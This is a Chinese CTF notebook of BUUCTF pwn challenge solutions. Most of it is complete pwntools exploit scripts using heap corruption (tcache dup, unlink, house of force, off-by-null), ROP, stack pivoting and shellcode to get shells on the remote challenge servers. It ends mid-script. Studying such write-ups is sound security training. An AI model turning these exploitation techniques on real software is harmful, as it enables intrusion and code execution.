• BUUCTF 刷题笔记 --pwn


    此文记录笔者在buuctf平台的刷题记录 (持续更新)

    ciscn_es_1

    libc2.27 有tcache

    漏洞点:UAF

    利用思路:add 一个大于0x410的chunk free掉,unsorted bin 泄露libc

    tcache dup 打free_hook 为system

    exp:

    from pwn import *
    #p = process('./ciscn_2019_es_1')
    p = remote('node3.buuoj.cn',25313)
    libc = ELF('./libc-2.27.so')
    #elf = ELF('./ciscn_2019_es_1')
    #libc = elf.libc
    def add(size,name,call):
        p.sendlineafter('choice:','1')
        p.sendlineafter("Please input the size of compary's name",str(size))
        p.sendafter('please input name:',name)
        p.sendafter('please input compary call:',call)
    
    def show(index):
        p.sendlineafter('choice:','2')
        p.sendlineafter('Please input the index:',str(index))
        
    def call(index):
        p.sendlineafter('choice:','3')
        p.sendlineafter('Please input the index:',str(index))
    
    add(0x410,'aaaa','aa')
    add(0x20,'bbbb','bb')
    add(0x50,'/bin/shx00','cc')
    call(0)
    show(0)
    #gdb.attach(p)
    p.recvuntil('name:
    ')
    main_arena = u64(p.recv(6).ljust(8,'x00'))-96
    success('main_arena:'+hex(main_arena))
    libc_base = main_arena - 0x10 -libc.sym['__malloc_hook']
    success('libc_base:'+hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    success('free_hook'+hex(free_hook))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    system = libc_base + libc.symbols['system']
    success('system:'+hex(system))
    one = 0x10a38c + libc_base
    call(1)
    call(1)
    add(0x20,p64(free_hook),'dd')
    add(0x20,'z2yh','z2yh')
    add(0x20,p64(system),'ee')
    #gdb.attach(p)
    #p.sendlineafter('choice:','1')
    call(2)
    p.interactive()
    

    ciscn_s_4

    伪代码:

      char s; // [esp+0h] [ebp-28h]
    
      memset(&s, 0, 0x20u);
      read(0, &s, 0x30u);
      printf("Hello, %s
    ", &s);
      read(0, &s, 0x30u);
      return printf("Hello, %s
    ", &s);
    

    32位程序,两个read在同一个地方,都只溢出8字节,考虑栈溢出

    利用方法:

    第一次read泄露栈地址

    第二次输入先构造ROP链,再栈迁移到rop链处

    exp:

    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./ciscn_s_4')
    #p = process('./ciscn_s_4')
    p = remote('node3.buuoj.cn', 26151)
    #gdb.attach(p)
    sys=0x08048400
    leave=0x8048562
    pl1 = 'a'*0x24+'b'*4
    p.send(pl1)
    p.recvuntil('b'*4)
    ebp = u32(p.recv(4)) - 0x10
    print hex(ebp)
    buf = ebp - 0x28
    pl2 = ('a'*4+p32(sys)+p32(0xdeadbeef)+p32(buf+16)+'/bin/shx00').ljust(0x28,'a')+p32(buf)+p32(leave)
    p.send(pl2)
    p.interactive()
    

    buuoj -[BJDctf2nd test]

    题目要求ssh连接

    ssh -p 28232 ctf@node3.buuoj.cn
    

    test.c

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main(){
        char cmd[0x100] = {0};
        puts("Welcome to Pwn-Game by TaQini.");
        puts("Your ID:");
        system("id");
        printf("$ ");
        gets(cmd);
        if( strstr(cmd, "n")
           ||strstr(cmd, "e")
           ||strstr(cmd, "p")
           ||strstr(cmd, "b")
           ||strstr(cmd, "u")
           ||strstr(cmd, "s")
           ||strstr(cmd, "h")
           ||strstr(cmd, "i")
           ||strstr(cmd, "f")
           ||strstr(cmd, "l")
           ||strstr(cmd, "a")
           ||strstr(cmd, "g")
           ||strstr(cmd, "|")
           ||strstr(cmd, "/")
           ||strstr(cmd, "$")
           ||strstr(cmd, "`")
           ||strstr(cmd, "-")
           ||strstr(cmd, "<")
           ||strstr(cmd, ">")
           ||strstr(cmd, ".")){
            exit(0);    
        }else{
            system(cmd);
        }
        return 0;
    }
    

    输入一个字符串,然后system执行。

    过滤了很多字符:

    n|e|p|b|u|s|h|i|f|l|a|g|||/|$|`|-|<|>|.
    

    exp:

    x86_64
    

    点评:

    这个是真的没想到,x86_64在博客上找到了这么一段解释

    The execution domains currently only affects the output of uname -m.For example, on an AMD64 system, running setarch i386 program will.cause program to see i686 instead of x86_64 as the machine type. It also allows to set various personality options. The default program is /bin/sh.
    

    我只能说:牛的

    hitcontraining - magicheap

    利用思路:unsortbin attack

    exp:

    from pwn import *
    context(os='linux',arch='amd64',log_level='debug')
    libc = ELF('libc-2.23.so')
    select = 0
    ip = 'node3.buuoj.cn'
    port = 29831
    if select:
       io = process('./magicheap')
    else:
       io = remote(ip,port)
    
    def add(size,content):
        io.sendlineafter('Your choice :','1')
        io.sendlineafter('Size of Heap :',str(size))
        io.sendafter('Content of heap:',content)
        
    def edit(idx,size,content):
        io.sendlineafter('Your choice :','2')
        io.sendlineafter('Index :',str(idx))
        io.sendlineafter('Size of Heap :',str(size))
        io.sendafter('Content of heap :',content)
    
    def delete(idx):
        io.sendlineafter('Your choice :','3')
        io.sendlineafter('Index :',str(idx))
    magic = 0x6020A0
    add(0x10,'a')
    add(0x90,'b')
    add(0x10,'c')
    delete(1)
    payload = 'x00'*0x18+p64(0xa0)+p64(0)+p64(magic-0x10)
    edit(0,len(payload),payload)
    #gdb.attach(io)
    add(0x90,'d')
    io.sendlineafter('Your choice :','4869')
    io.interactive()
    

    hitcontraining - bamboobox (需补充exp)

    存在堆溢出,打Top_chunk,house of froce 把后门放入函数指针内

    但是buu的远程环境里没有/home/bamboobox/flag 这个目录,所以 house of force 打不通

    最后用unlink拿的shell

    house of force:

    from pwn import*
    context.log_level = 'debug'
    select = 1
    ip = 'node3.buuoj.cn'
    port = 29694
    if select:
       io = process('./bamboobox')
    else:
       io = remote(ip,port) 
    
    def menu(idx):
        io.sendlineafter('Your choice:',str(idx))
    def show():
        menu(1)
    def add(size,content):
        menu(2)
        io.sendlineafter('Please enter the length of item name:',str(size))
        io.sendafter("Please enter the name of item:",content)    
    def edit(idx,size,content):
        menu(3)
        io.sendlineafter('Please enter the index of item:',str(idx))
        io.sendlineafter('Please enter the length of item name:',str(size))
        io.sendafter("Please enter the new name of the item:",content)
    def delete(idx):
        menu(4)
        io.sendlineafter('Please enter the index of item:',str(idx))
    magic = 0x400D49
    add(0x30,'a')
    payload = 0x38 * 'a'
    payload +=  p64(0xffffffffffffffff)
    edit(0,0x40,payload)
    offset_to_heap_base = -(0x40 + 0x20)
    malloc_size = offset_to_heap_base - 0x10
    add(-0x70,'aaaa')
    #gdb.attach(io)
    add(0x10,'a'*8+p64(magic))
    menu(5)
    #gdb.attach(io)
    io.interactive()
    

    unlink:

    from pwn import*
    context.log_level = 'debug'
    select = 0
    ip = 'node3.buuoj.cn'
    port = 25416
    libc = ELF('libc-2.23.so')
    if select:
       io = process('./bamboobox')
    else:
       io = remote(ip,port) 
    
    def menu(idx):
        io.sendlineafter('Your choice:',str(idx))
    def show():
        menu(1)
    def add(size,content):
        menu(2)
        io.sendlineafter('Please enter the length of item name:',str(size))
        io.sendafter("Please enter the name of item:",content)    
    def edit(idx,size,content):
        menu(3)
        io.sendlineafter('Please enter the index of item:',str(idx))
        io.sendlineafter('Please enter the length of item name:',str(size))
        io.sendafter("Please enter the new name of the item:",content)
    def delete(idx):
        menu(4)
        io.sendlineafter('Please enter the index of item:',str(idx))
    
    ptr=0x6020C8
    add(0x40,'a')#0
    add(0x80,'b')#1
    add(0x80,'c')#2
    #gdb.attach(io)
    payload=p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10)+'x00'*0x20+p64(0x40)+p64(0x90)
    edit(0,len(payload),payload)
    delete(1)
    #gdb.attach(io)
    payload = p64(0)*2 + p64(0x40) + p64(0x602068)#atoi => got
    edit(0,len(payload),payload)
    #gdb.attach(io)
    show()
    io.recvuntil("0 : ")
    atoi_addr = u64(io.recvuntil(":")[:6].ljust(8,'x00'))
    libcbase = atoi_addr - libc.symbols['atoi']
    log.info("libc:"+hex(libcbase)) 
    system_addr = libcbase + libc.symbols['system']
    log.info("system:"+hex(libcbase)) 
    edit(0,8,p64(system_addr))
    #gdb.attach(io)
    io.recvuntil(':')
    io.sendline('sh')
    io.interactive()
    

    ciscn_final_5

    来源:buuctf

    • 常见的菜单题,无show,没开PIE,got表可写
    • libc2.27 tcache
    • 管理idx的方式存在漏洞,可造成0x10字节的溢出

    add

    __int64 add()
    {
      __int64 result; // rax
      signed int i; // [rsp+4h] [rbp-1Ch]
      int v2; // [rsp+8h] [rbp-18h]
      int idx; // [rsp+Ch] [rbp-14h]
      void *buf; // [rsp+10h] [rbp-10h]
      __int64 v5; // [rsp+18h] [rbp-8h]
    
      printf("index: ");
      idx = read_input();
      if ( idx < 0 || idx > 16 )
      {
        puts("index is invalid.");
        exit(-1);
      }
      printf("size: ");
      v2 = read_input();
      if ( v2 < 0 || v2 > 0x1000 )
      {
        puts("size is invalid.");
        exit(-1);
      }
      buf = malloc(v2);
      if ( !buf )
      {
        puts("malloc error.");
        exit(-1);
      }
      printf("content: ");
      read(0, buf, v2);
      show_lot_12_bits(buf);
      result = and(buf, idx);
      v5 = result;
      for ( i = 0; i <= 16; ++i )
      {
        result = heaparray[i];
        if ( !result )
        {
          heaparray[i] = v5;
          result = i;
          size[i] = v2;
          break;
        }
      }
      if ( i == 17 )
      {
        puts("heap note is full.");
        exit(-1);
      }
      return result;
    }
    

    delete

    int delete()
    {
      int result; // eax
      signed int i; // [rsp+8h] [rbp-8h]
      int v2; // [rsp+Ch] [rbp-4h]
    
      printf("index: ");
      result = read_input();
      v2 = result;
      if ( result < 0 || result > 16 )
      {
        puts("index is invalid.");
        exit(-1);
      }
      for ( i = 0; i <= 16; ++i )
      {
        result = get_low_bits(heaparray[i]);
        if ( result == v2 )
        {
          free((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL));
          heaparray[i] = 0LL;
          size[i] = 0;
          result = puts("free success.
    ");
          break;
        }
      }
      if ( i == 17 )
      {
        puts("free is invalid.");
        exit(-1);
      }
      return result;
    }
    

    edit

    int edit()
    {
      int result; // eax
      signed int i; // [rsp+8h] [rbp-8h]
      int v2; // [rsp+Ch] [rbp-4h]
    
      printf("index: ");
      result = read_input();
      v2 = result;
      if ( result < 0 || result > 16 )
      {
        puts("index is invalid.");
        exit(-1);
      }
      for ( i = 0; i <= 16; ++i )
      {
        result = get_low_bits(heaparray[i]);
        if ( result == v2 )
        {
          printf("content: ");
          read_0((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL), size[i]);
          result = puts("edit success.
    ");
          break;
        }
      }
      if ( i == 17 )
      {
        puts("edit is invalid.");
        exit(-1);
      }
      return result;
    }
    

    heaparray使用堆地址的末位来记录idx

    问题出在heaparray的容量为17,当idx等于16的时候,0x260 | 0x10 = 0x270,导致溢出到下一个堆块的fd中(pre_size位的复用)

    直接打heaparray开始布置,改free_got为puts_plt ,泄露puts地址 leak libc,最后改atoi_got为system

    值得注意的是需要留意末位,适当减一些数去设置idx

    exp:

    from pwn import *
    p = process('./ciscn_final_5')
    context.log_level = 'debug'
    ip = 'node3.buuoj.cn'
    port = 29525
    elf = ELF('./ciscn_final_5')
    #libc = elf.libc
    p = remote(ip,port) 
    libc = ELF('./libc.so.6')
    
    def menu(idx):
        p.sendlineafter("your choice: ",str(idx))
    def add(idx,size,content):
        menu(1)
        p.sendlineafter('index: ',str(idx))
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",content)
    
    def delete(idx):
        menu(2)
        p.sendlineafter('index: ',str(idx))
    
    def edit(idx,content):
        menu(3)
        p.sendlineafter('index: ',str(idx))
        p.sendafter("content: ",content)
    heap = 0x603000 #heap_base
    heaparray = 0x6020E0
    sizearray = 0x602180
    free_got  = 0x602018
    puts_plt = 0x400790
    puts_got = 0x602020
    atoi_got = 0x602078
    add(16,0x18,'a')
    add(1,0x60,'b')
    add(2,0x20,'c')
    delete(1)
    edit(0,p64(0)+p64(0x71)+p64(heaparray))
    add(3,0x60,'d')
    add(4,0x60,'e')
    edit(4,p64(atoi_got)+p64(heaparray+4)+p64(free_got-1)+p64(puts_got))
    edit(7,p64(puts_plt)*2) #free_got => puts_plt
    delete(0)
    puts = u64(p.recv(6).ljust(8,'x00')) 
    log.success('LEAK puts:	'+hex(puts))
    libc_base = puts - libc.sym['puts']
    log.success('LIBC:	'+hex(libc_base))
    system = libc_base + libc.sym['system']
    log.success('System:	'+hex(system))
    edit(8,p64(system)*2)
    menu('/bin/shx00')
    #gdb.attach(p)
    p.interactive()
    

    ciscn_final_2

    • 因为最新版的libc2.27 tcache dup被修复了,所以需要先更换一下libc去解决该问题,再进行调试

    • 可以申请两种堆块 int(0x20)和 short int(0x10)

    • 两种堆块使用同一个标志位,可申请另一种堆块造成double free

    • 由于开了沙盒,只能读flag,在ida中可以看到flag的fd为666,我们读flag的思路就是去打_IO_2_1_stdin中的fileno,scanf会打开stdin,调用printf中的格式化字符串时会读取fileno中的文件,默认fileno的值为0。

      利用思路

    • 因为存在double free 我们申请很多个堆块,可以使用double free去劫持chunk header,造成overlap,从而构造大堆块

    • 制造unsorted bin的方法,就是用一直free(使用add第二种堆块将其绕过),将tcache填满,就有unsorted bin

    • 核心就是构造堆布局,造成块堆叠

    exp:

    from pwn import *
    #p = process('./ciscn_final_2')
    p = remote('node3.buuoj.cn',26314)
    elf = ELF('./ciscn_final_2')
    libc = elf.libc
    #context.log_level = 'debug'
    def menu(idx):
        p.sendlineafter('>',str(idx))
    def add(add_type, add_num):
        menu(1)
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(add_type))
        p.sendafter('your inode number:', str(add_num))
     
    def remove(remove_type):
        menu(2)
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(remove_type))
     
    def show(show_type):
        menu(3)
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(show_type))
        if show_type == 1:
            p.recvuntil('your int type inode number :')
        elif show_type == 2:
            p.recvuntil('your short type inode number :')
        return int(p.recvuntil('
    ', drop=True))
     
    add(1,0x30)
    remove(1)
    add(2,0x20)#0x30   fake size
    add(2,0x20)#0x30
    add(2,0x20)#0x30
    add(2,0x20)#0x30
    remove(2)
    add(1,0x30)
    remove(2)
    #gdb.attach(p)
    addr_chunk0_prev_size = show(2) - 0xa0# attack chunk header 打int_ptr的header
    log.info('prev_size:	'+hex(addr_chunk0_prev_size))
    #gdb.attach(p)
    add(2, addr_chunk0_prev_size)
    add(2, addr_chunk0_prev_size)
    #gdb.attach(p)
    add(2, 0x91)# 劫持int_ptr的size 
    #gdb.attach(p)
    for i in range(0,7):#make tcache full 
        remove(1)
        add(2, 0x20)
    remove(1)
    main_arena = show(1) - 96
    log.info('arena:	'+hex(main_arena))
    libc_base = main_arena - libc.sym['__malloc_hook']-0x10
    log.info('libc_base:	'+hex(libc_base))
    fileno = libc_base + libc.sym['_IO_2_1_stdin_']+0x70
    log.info('stdin=>fileno:	'+hex(fileno))
    #gdb.attach(p)
    add(1,fileno) 
    #gdb.attach(p)
    add(1,0x30)
    remove(1)
    add(2,0x20)
    remove(1)
    fd = show(1)-0x30 
    add(1,fd)
    add(1,0x30)
    add(1,0x30)
    add(1,666)
    menu(4)
    p.recvuntil('your message :')
    flag = p.recvuntil('}')
    log.success('FLAG:	'+flag)
    p.interactive()
    

    roarctf_realloc_magic

    程序分析:

    • realloc和free存在uaf

    考点:tcache dup填满tcache , 爆破stdout泄漏libc,realloc的实现

    大致思路是利用realloc构造堆布局,造成overlap,爆破stdout泄漏libc

    然后故技重施打free_hook为system
    exp:

    from pwn import*
    #p = process('./roarctf_2019_realloc_magic')
    elf = ELF('./roarctf_2019_realloc_magic') 
    libc = ELF('./libc-2.27.so')
    #context.log_level = 'debug'
    def menu(idx):
        p.sendlineafter('>>',str(idx))
    
    def realloc(size,content):
        menu(1)
        p.sendlineafter('Size?',str(size))
        p.sendafter('Content?',content)
    
    def free():
        menu(2)
    
    def gift():
        menu(666)
        
    def pwn():
        realloc(0x70,'a')
        realloc(0,'')
        realloc(0x100,'b')
        realloc(0,'')
        realloc(0xa0,'c')
        realloc(0,'')
        realloc(0x100,'b')
        #gdb.attach(p)
        for i in range(7):
            free()
        realloc(0,'a')
        realloc(0x70,'a')
        realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0xe7))#overlap
        #这里解释一下为什么size位是0x41,如果不改size,我们再申请的时候都是        
        #realloc之后再free,如果是同一块内存,会导致
        #gdb.attach(p)
        realloc(0,'a')
        realloc(0x100,'a')
        realloc(0,'a')
        realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get stdout
    #gdb.attach(p)
        leak = u64(p.recvuntil("x7f",timeout=0.1)[-6:].ljust(8,'x00'))
        log.info('_IO_file_jumps:	'+hex(leak))#io_file_jump
    #gdb.attach(p)
        if leak == 0:
           exit(-1)
        libc_base = leak - libc.sym['_IO_file_jumps']
        log.info('LIBC:	'+hex(libc_base))
        free_hook = libc_base + libc.sym['__free_hook']
        system = libc_base +libc.sym['system']
        gift()
        realloc(0x120,'a')
        realloc(0,'')
        realloc(0x130,'a')
        realloc(0,'')
        realloc(0x170,'a')
        realloc(0,'')
        realloc(0x130,'a')
        [free() for i in range(7)]
        realloc(0,'')
        realloc(0x120,'a')
        realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
        realloc(0,'')
        realloc(0x130,'a')
        realloc(0,'')
        realloc(0x130,'/bin/shx00'+p64(system))
        free() 
    #gdb.attach(p)
        p.interactive()
    
    if __name__ == "__main__":
        while True:
            p = remote('node3.buuoj.cn',29316)
            try:
                pwn()
            except:
                p.close()
    

    第二次打free_hook的时候和第一次原理是一样的,重点要理解0x41和后面的大堆块防止top_chunk被合并

    npuctf_2020_easyheap

    来源:buuctf

    环境:Ubuntu18

    题目简述:

    • 没开pie,got表可写

    • 常规菜单题,在申请堆的时候同时会使用结构体(0x10)记录下size和堆块地址,create只能申请0x18和0x38两种堆,存在off-by-one

    利用思路

    • 利用off-by-one制造overlap,造成块堆叠,控制记录堆块信息的结构体,造成任意地址读和任意地址写(恰好0x18的堆加0x10的堆加起来就是0x38)
    • 改atoi_got为system,getshell

    exp:

    from pwn import*
    elf = ELF('./npuctf_2020_easyheap')
    #context.log_level = 'debug'
    ip = 'node3.buuoj.cn'
    port = 27053
    select = 0
    if select:
       p = process('npuctf_2020_easyheap')
       libc = elf.libc
    else:
       p = remote(ip,port)
       libc = ELF('./libc-2.27.so')
    def menu(idx):
        p.sendlineafter('Your choice :',str(idx))
    
    def add(size,content):
        menu(1) 
        p.sendlineafter("Size of Heap(0x10 or 0x20 only) : ",str(size))
        p.sendafter("Content:",content)
    def edit(idx,content):
        menu(2)
        p.sendlineafter("Index :",str(idx))
        p.sendafter('Content:',content)
    def show(idx):
        menu(3)
        p.sendlineafter("Index :",str(idx))
    def free(idx):
        menu(4)
        p.sendlineafter("Index :",str(idx))   
        
    heaparray = 0x6020a0
    atoi_got = 0x602058
    add(0x18,p64(0x21)+p64(atoi_got))#0
    add(0x18,'a')#1
    add(0x18,'a')#2
    edit(1,'b'*0x18+p8(0x41))
    free(2)
    add(0x38,'c'*0x18+p64(0x21)+p64(0x21)+p64(atoi_got))#2
    #gdb.attach(p)
    show(2)
    atoi = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) 
    log.info('atoi:	'+hex(atoi))
    libc_base = atoi - libc.sym['atoi']
    system = libc_base + libc.sym['system']
    log.info('libc:	'+hex(libc_base))
    log.info('system:	'+hex(system))
    #gdb.attach(p)
    edit(2,p64(system))
    menu('/bin/shx00')
    p.interactive()
    

    BJDCTF 2nd rci

    在/tmp下随机创建了50个目录,随机进入一个目录下,有一次命令执行的机会,过滤了很多的字符,能用的命令就只有ls,然后输入绝对目录通过检测,就可以进入第二次命令执行(有过滤)

    解题思路:

    第一次system命令执行

    ls -ali #查看inode号
    

    开多一个shell

    ls -ali /tmp #查看/tmp目录下的inode
    

    找到对应inode号即可,第二次命令执行

    $0 #相当于/bin/sh
    

    [SWPUCTF_2019_p1KkHeap]

    程序分析:

    • 常规菜单堆,存在uaf,delete之后不能edit,但是可以show

    • delete只能用3次,最多操作18次

    • 程序在开始时mmap了一块内存可以rwxp

    利用思路:

    double free 配合show泄漏堆地址,打tcache结构体,构造unsorted bin 和 tcache poisning,在mmap的地址上写入orw的shellcode,让malloc_hook指向shellcode的地址

    值得注意的是:在编写shellcode的过程中,应当先设置

    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    

    不然shellcode跑起来会出问题

    exp:

    from pwn import*
    #p = process('./kkheap')
    p = remote('node3.buuoj.cn',29608)
    elf = ELF('./kkheap')
    libc = elf.libc
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    def menu(idx):
        p.sendlineafter('Your Choice:',str(idx))
    def add(size):
        menu(1)
        p.sendlineafter('size:',str(size))
    def show(idx):
        menu(2)
        p.sendlineafter('id:',str(idx))
    def edit(idx,content):
        menu(3)
        p.sendlineafter('id:',str(idx))
        p.sendafter('content:',content)
    def delete(idx):
        menu(4)
        p.sendlineafter('id:',str(idx))
    
    add(0x100)#0
    add(0x100)#1
    delete(0)
    delete(0)
    show(0)
    p.recvuntil('content: ')
    heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x260
    log.info('heap_base:	'+hex(heap_base))
    add(0x100)#2
    edit(2,p64(heap_base+0x10))
    #gdb.attach(p)
    add(0x100)#3
    add(0x100)#4
    edit(4,'x00'*15+'x07')
    delete(0)
    show(0)
    p.recvuntil('content: ')
    malloc_hook = u64(p.recv(6).ljust(8,'x00')) - 96 - 0x10
    log.info('malloc_hook:	'+hex(malloc_hook))
    edit(4,'x00'*15+'x07'+p64(0)*14+p64(0x66660000)+p64(malloc_hook))
    #gdb.attach(p)
    payload = shellcraft.open("flag")
    payload += shellcraft.read(3,0x66660300,64)
    payload += shellcraft.write(1,0x66660300,64)
    add(0x90)#5
    edit(5,asm(payload))
    add(0xa0)#6
    sleep(0.1)
    edit(6,p64(0x66660000))
    #gdb.attach(p)
    add(0x90)
    #sleep(0.1)
    p.interactive()
    

    de1ctf_2019_weapon

    libc2.23,菜单题没有show,爆破IO_FILE去泄露libc,然后double free打malloc_hook.

    注意一下堆风水,把unsorted binfd的末两个字节踩掉,打IO_FILE。

    exp:

    from pwn import *
    #context.log_level = 'debug'
    proc = 'de1ctf_2019_weapon'
    elf = ELF(proc)
    libc = elf.libc
    
    def menu(idx):
        p.sendlineafter('>> ',str(idx))
    def add(size,idx,content):
        menu(1)
        p.sendlineafter('size of weapon: ',str(size))
        p.sendlineafter('index: ',str(idx))
        p.sendafter('name:',content)
    def delete(idx):
        menu(2)
        p.sendlineafter('idx :',str(idx))
    def rename(idx,content):
        menu(3)
        p.sendlineafter('idx: ',str(idx))
        p.sendafter('new content:',content)
    def pwn():
        add(0x20,0,p64(0)*3+p64(0x31))
        add(0x20,1,'ptr')
        add(0x60,2,'ptr')
        add(0x20,3,'ptr')
        delete(0)
        delete(3)
        rename(3,'x20')
    #    gdb.attach(p)   
        add(0x20,4,'a')
        add(0x20,4,p64(0)+p64(0xa1))
        delete(1)
        delete(2)
        add(0x20,4,'ptr')
        rename(2,'xddx25')
    #    gdb.attach(p)
        add(0x60,5,'ptr')
    #    gdb.attach(p)
        payload = 'x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + 'x00'
        add(0x60,5,payload)
        libc_base = u64(p.recvuntil('x7f',timeout=0.1)[-6:].ljust(8,'x00'))-192-libc.sym['_IO_2_1_stderr_']
        log.info('libc:	'+hex(libc_base))
        add(0x60,6,'ptr')
        add(0x60,7,'ptr')
        delete(6)
        delete(7)
        delete(6)
        add(0x60,8,p64(libc_base+libc.sym['__malloc_hook']-0x23))
        add(0x60,2,'ptr')
        add(0x60,3,'ptr')
        add(0x60,4,'x00'*0x13+p64(0xf1207+libc_base))
        menu(1)
        p.sendlineafter('size of weapon: ',str(0x10))
        p.sendlineafter('index: ',str(0))
        p.interactive()
    
    if __name__ == '__main__':
       while(True):
           try:
             p  = remote('node3.buuoj.cn',27781)  
             pwn()
           except Exception as e:
             p.close()
             continue 
    

    sctf_2019_easy_heap

    开始mmap了一块内存,可读可写可执行

    在Fill函数中存在一个off-by-null漏洞,通过off-by-null构造块堆叠,往mmap中写shellcode,劫持malloc_hook为mmap的地址

    在buu上是libc2.27的版本,注意堆开大一点(0x400以上)不然会放进tcache里,就没法合并堆块了。

    exp:

    from pwn import*
    proc = "./sctf_2019_easy_heap"
    elf = ELF(proc)
    libc = elf.libc
    context.arch = 'amd64'
    context.os = 'linux'
    #context.log_level = 'debug'
    ip = 'node3.buuoj.cn'
    port = 28431
    p = remote(ip,port)
    #p = process(proc)
    def menu(idx):
        p.sendlineafter('>>',str(idx))
    def add(size):
        menu(1)
        p.sendlineafter('Size: ',str(size))
    def delete(idx):
        menu(2)
        p.sendlineafter('Index: ',str(idx))
    def edit(idx,content):
        menu(3)
        p.sendlineafter('Index: ',str(idx))
        p.sendafter('Content: ',content)
    shellcode = asm(shellcraft.sh())
    p.recvuntil("Mmap: ")
    mmap = int(p.recvuntil("
    ",drop=True),16)
    log.info('mmap:	'+hex(mmap))
    add(0x410)
    p.recvuntil("Address 0x")
    base_addr = int(p.recvline().strip(),16) - 0x202068
    add(0x68)
    add(0x4f0)
    add(0x68)
    delete(0)
    edit(1,'x00'*0x60+p64(0x420+0x70))
    delete(2) # combine chunk0 and chunk1 with chunk 2 
    add(0x410)
    add(0x68)
    delete(3)
    delete(2)
    delete(1)
    #double free
    add(0x68)
    edit(1,p64(mmap)+'
    ')
    add(0x68) # 2
    add(0x68) # 3
    edit(3,shellcode+'
    ')
    add(0x4f0)
    delete(0) # chunk0 0x410
    edit(1,'x00'*0x60+p64(0x490))
    delete(1) # tcache 0x70
    delete(4)
    add(0x410)
    edit(2,'x30
    ')
    add(0x68)
    add(0x68)
    edit(4,p64(mmap) + b'
    ')
    add(0x68)
    p.interactive()
    

    [mrctf2020_easy_equation]

    题目很简单,先解那个方程,judge = 2

    然后格式化字符串修改judge的值,注意栈对齐即可

    from pwn import*
    proc = './mrctf2020_easy_equation'
    context.log_level = 'debug'
    #p = process(proc)
    p = remote("node3.buuoj.cn",27605)
    judge = 0x60105C
    payload='aa'+'%9$n'
    payload = payload.ljust(9,'b')
    payload +=p64(judge)
    p.sendline(payload)
    p.interactive() 
    

    踩坑:

    payload.ljust(9,'a') #这样的话payload.ljust只能控制返回值,而不能改变payload的值
    

    hitcon_2018_children_tcache

    glibc版本2.27的堆题,常规菜单,漏洞点出在add函数中向堆块写入内容的部分

    strcpy copy字符串的时候会在最后加一个'',造成了堆上的off-by-null。

    在free堆块的时候会

    memset(heaparray[v1], 0xDA, size[v1]);
    

    再释放堆块,所以就比较难在这方面下手,覆写pre_size位的时候需要一些操作才能写入

    for i in range(1,8):# clear the 0xda in  prev_size 
        add(0x68-i,'x'*(0x68-i))
        delete(0)
    

    思路:off-by-null造成堆块overlap,再构造一个double free去打malloc_hook

    exp:

    from pwn import*
    context.log_level = 'debug'
    #p = process('./pwn')
    p = remote('node3.buuoj.cn',25341)
    elf = ELF('./pwn')
    libc= ELF('./libc-2.27.so')
    def menu(idx):
        p.sendlineafter('Your choice: ',str(idx))
    def add(size,content):
        menu(1)
        p.sendlineafter('Size:',str(size))
        p.sendlineafter('Data:',content)
    def show(idx):
        menu(2)
        p.sendlineafter('Index:',str(idx))
    def delete(idx):
        menu(3)
        p.sendlineafter('Index:',str(idx))
    add(0x410,'a')# 0
    add(0x68,'a') # 1
    add(0x4f0,'b')# 2
    add(0x88,'c') #3
    delete(0)
    delete(1)
    add(0x68,'a'*0x68)
    delete(0)
    for i in range(1,8):# clear the 0xda in the prev_size of chunk2
        add(0x68-i,'x'*(0x68-i))
        delete(0)
    
    add(0x68,'a'*0x60+p64(0x490))
    #gdb.attach(p)
    delete(2) #extend unsorted bin
    add(0x410,'a') # 1
    show(0)
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
    log.info('LIBC:	'+hex(libc_base))
    add(0x68,'b')  # uaf
    #add(0x4f0,'c')
    delete(0)
    delete(2)
    add(0x68,p64(libc_base+libc.sym['__malloc_hook']))
    add(0x68,'ptr
    ')
    add(0x68,p64(0x4f322+libc_base))
    #gdb.attach(p)
    menu(1)
    p.sendlineafter('Size:',str(0x10))
    p.interactive()
    '''
    0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      rsp & 0xf == 0
      rcx == NULL
    
    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL
    
    0x10a38c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    

    shanghai2018_baby_arm

    一道arm64的pwn题

    题目逻辑比较简单,先在bss端上读入一段数据

    然后会有一个栈溢出,偏移可以在gdb里调试找出

    因为开了nx,所以我们的思路就是先写入shellcode,然后mprotect改权限,执行shellcode

    gadget有点难找 ROPgadget找不出好用的,只能自己去看了

    在0x4008cc 0x4008ac 0x4007e0处有能控制寄存器的gadget,类似于x86的ret2csu

    主要是学习调试arm架构的技巧,本地qemu挂起来然后gdb-multiarch远程连上去

    exp

    from pwn import *
    binary = './pwn'
    context.log_level = 'debug'
    context.arch = "aarch64"
    context.os = "linux"
    elf = ELF('./pwn')
    mprotect = elf.plt['mprotect']
    debug = 1
    remote = 0
    if remote :
         p = remote("node3.buuoj.cn",29874)
    elif debug  :   
         p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu","-g","1234",binary])
    else :   
         p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu",binary])
    
    p.recvuntil('Name:')
    shellcode = shellcraft.sh()
    shellcode = asm(shellcode)
    p.send(p64(0x4007e0)+shellcode)
    sleep(0.1)
    payload = 'a'*0x48+p64(0x4008cc)
